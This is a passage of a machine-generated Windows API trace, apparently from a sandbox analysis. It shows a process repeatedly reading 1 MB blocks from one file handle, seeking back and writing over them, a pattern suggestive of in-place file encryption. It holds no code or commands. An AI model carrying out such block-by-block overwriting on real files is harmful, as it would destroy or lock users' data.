liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.921] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.924] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.938] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.939] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.941] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0068.950] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.950] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0068.952] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.013] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.013] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.016] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.370] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.370] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.373] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.383] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.383] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.386] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.396] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.396] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.516] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.536] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.536] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.538] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.562] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.562] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.565] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.629] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.629] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.632] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.655] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.655] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.657] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.705] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.705] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.707] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.762] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.762] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.766] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.804] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.804] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.806] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.834] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.835] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.913] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.968] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.968] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.971] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0069.982] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.982] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0069.985] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.027] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.027] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.030] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.508] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.508] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.511] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.528] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.528] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.531] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.558] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.558] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.561] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.610] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.610] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.612] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.623] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.623] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.626] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.671] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.671] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.674] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.686] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.686] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.689] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.779] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.779] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.782] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.802] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.802] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.806] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.917] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.917] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.920] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.948] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.948] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.951] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0070.979] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.979] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0070.982] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0071.023] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.023] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0071.026] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0071.573] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.573] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0071.576] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0071.611] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.611] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0071.614] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0071.640] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.641] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0071.643] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0071.655] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.655] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0071.659] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0071.760] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.760] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0071.763] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0071.774] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.774] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0071.777] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0072.277] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.277] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0072.281] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x321e624*=0x100000, lpOverlapped=0x0) returned 1 [0072.376] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.376] WriteFile (in: hFile=0x308, lpBuffer=0x3680000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x321e628, lpOverlapped=0x0 | out: lpBuffer=0x3680000*, lpNumberOfBytesWritten=0x321e628*=0x100000, lpOverlapped=0x0) returned 1 [0072.380] ReadFile (in: hFile=0x308, lpBuffer=0x3580000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x321e624, 